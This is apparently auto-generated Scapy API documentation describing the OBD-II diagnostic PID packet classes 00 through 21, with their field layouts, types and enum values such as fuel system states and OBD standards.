OBD_PID79, OBD_PID7A, OBD_PID7B, OBD_PID7C, OBD_PID7D, OBD_PID7E, OBD_PID7F, OBD_PID80, OBD_PID81, OBD_PID82, OBD_PID83, OBD_PID84, OBD_PID85, OBD_PID86, OBD_PID87, OBD_PID88, OBD_PID89, OBD_PID8A, OBD_PID8B, OBD_PID8C, OBD_PID8D, OBD_PID8E, OBD_PID8F, OBD_PID90, OBD_PID91, OBD_PID92, OBD_PID93, OBD_PID94, OBD_PID98, OBD_PID99, OBD_PID9A, OBD_PID9B, OBD_PID9C, OBD_PID9D, OBD_PID9E, OBD_PID9F, OBD_PIDA0, OBD_PIDA1, OBD_PIDA2, OBD_PIDA3, OBD_PIDA4, OBD_PIDA5, OBD_PIDA6, OBD_PIDC0












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid.pids_00_1F


	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID00(_pkt, /, *, supported_pids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L18-L56]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED PIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID00                          


OBD_PID00 fields






	supported_pids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID01(_pkt, /, *, mil=0, dtc_count=0, reserved1=0, continuous_tests_ready=<Flag 0 ()>, reserved2=0, continuous_tests_supported=<Flag 0 ()>, once_per_trip_tests_supported=<Flag 0 ()>, once_per_trip_tests_ready=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L59-L106]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|M|  DTC COUNT  |R|CONTI|R|CONTI|ONCE PER TRIP T|ONCE PER TRIP T|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID01                          


OBD_PID01 fields






	mil

	BitEnumField

	0



	dtc_count

	BitField  (7 bits)

	0



	reserved1

	BitField  (1 bit)

	0



	continuous_tests_ready

	FlagsField

	<Flag 0 ()>



	reserved2

	BitField  (1 bit)

	0



	continuous_tests_supported

	FlagsField

	<Flag 0 ()>



	once_per_trip_tests_supported

	FlagsField

	<Flag 0 ()>



	once_per_trip_tests_ready

	FlagsField

	<Flag 0 ()>











	
onOff = {0: 'off', 1: 'on'}

	








	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID02(_pkt, /, *, dtc=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L109-L113]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DTC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID02                          


OBD_PID02 fields






	dtc

	PacketField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID03(_pkt, /, *, fuel_system1=0, fuel_system2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L116-L130]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  FUEL SYSTEM1 |  FUEL SYSTEM2 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID03                          


OBD_PID03 fields






	fuel_system1

	XByteEnumField

	0



	fuel_system2

	XByteEnumField

	0











	
loopStates = {0: 'OpenLoopInsufficientEngineTemperature', 2: 'ClosedLoop', 4: 'OpenLoopEngineLoadOrFuelCut', 8: 'OpenLoopDueSystemFailure', 16: 'ClosedLoopWithFault'}

	








	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID04(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L133-L137]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID04                          


OBD_PID04 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID05(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L140-L144]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID05                          


OBD_PID05 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID06(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L147-L152]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID06                          


OBD_PID06 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID07(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L155-L160]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID07                          


OBD_PID07 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID08(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L163-L168]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID08                          


OBD_PID08 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID09(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L171-L176]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID09                          


OBD_PID09 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID0A(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L179-L183]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID0A                          


OBD_PID0A fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID0B(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L186-L190]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID0B                          


OBD_PID0B fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID0C(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L193-L197]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID0C                          


OBD_PID0C fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID0D(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L200-L204]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID0D                          


OBD_PID0D fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID0E(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L207-L211]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID0E                          


OBD_PID0E fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID0F(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L214-L218]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID0F                          


OBD_PID0F fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID10(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L221-L225]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID10                          


OBD_PID10 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID11(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L228-L232]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID11                          


OBD_PID11 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID12(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L235-L247]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID12                          


OBD_PID12 fields






	data

	XByteEnumField

	0











	
states = {0: 'upstream', 2: 'downstreamCatalyticConverter', 4: 'outsideAtmosphereOrOff', 8: 'pumpCommanded'}

	








	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID13(_pkt, /, *, sensors_present=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L250-L263]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SENSORS PRESENT|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID13                          


OBD_PID13 fields






	sensors_present

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID14(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L274-L275]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID14                          


OBD_PID14 fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID15(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L278-L279]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID15                          


OBD_PID15 fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID16(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L282-L283]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID16                          


OBD_PID16 fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID17(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L286-L287]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID17                          


OBD_PID17 fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID18(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L290-L291]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID18                          


OBD_PID18 fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID19(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L294-L295]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID19                          


OBD_PID19 fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID1A(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L298-L299]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID1A                          


OBD_PID1A fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID1B(_pkt, /, *, outputVoltage=0, trim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L302-L303]

	Bases: _OBD_PID14_1B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OUTPUTVOLTAGE |      TRIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID1B                          


OBD_PID1B fields






	outputVoltage

	ScalingField

	0



	trim

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID1C(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L306-L347]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID1C                          


OBD_PID1C fields






	data

	XByteEnumField

	0











	
obdStandards = {1: 'OBD-II as defined by the CARB', 2: 'OBD as defined by the EPA', 3: 'OBD and OBD-II', 4: 'OBD-I', 5: 'Not OBD compliant', 6: 'EOBD (Europe)', 7: 'EOBD and OBD-II', 8: 'EOBD and OBD', 9: 'EOBD, OBD and OBD II', 10: 'JOBD (Japan)', 11: 'JOBD and OBD II', 12: 'JOBD and EOBD', 13: 'JOBD, EOBD, and OBD II', 14: 'Reserved', 15: 'Reserved', 16: 'Reserved', 17: 'Engine Manufacturer Diagnostics (EMD)', 18: 'Engine Manufacturer Diagnostics Enhanced (EMD+)', 19: 'Heavy Duty On-Board Diagnostics (Child/Partial) (HD OBD-C)', 20: 'Heavy Duty On-Board Diagnostics (HD OBD)', 21: 'World Wide Harmonized OBD (WWH OBD)', 22: 'Reserved', 23: 'Heavy Duty Euro OBD Stage I without NOx control (HD EOBD-I)', 24: 'Heavy Duty Euro OBD Stage I with NOx control (HD EOBD-I N)', 25: 'Heavy Duty Euro OBD Stage II without NOx control (HD EOBD-II)', 26: 'Heavy Duty Euro OBD Stage II with NOx control (HD EOBD-II N)', 27: 'Reserved', 28: 'Brazil OBD Phase 1 (OBDBr-1)', 29: 'Brazil OBD Phase 2 (OBDBr-2)', 30: 'Korean OBD (KOBD)', 31: 'India OBD I (IOBD I)', 32: 'India OBD II (IOBD II)', 33: 'Heavy Duty Euro OBD Stage VI (HD EOBD-IV)'}

	








	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID1D(_pkt, /, *, sensors_present=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L350-L363]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SENSORS PRESENT|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID1D                          


OBD_PID1D fields






	sensors_present

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID1E(_pkt, /, *, reserved=0, pto_status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L366-L371]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED  |P|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID1E                          


OBD_PID1E fields






	reserved

	BitField  (7 bits)

	0



	pto_status

	BitEnumField

	0















	
class scapy.contrib.automotive.obd.pid.pids_00_1F.OBD_PID1F(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_00_1F.py#L374-L378]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID1F                          


OBD_PID1F fields






	data

	ScalingField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid.pids_20_3F


	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID20(_pkt, /, *, supported_pids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L17-L54]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED PIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID20                          


OBD_PID20 fields






	supported_pids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID21(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L57-L61]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID21                          


OBD_PID21 fields






	data

	ScalingField

	0















	
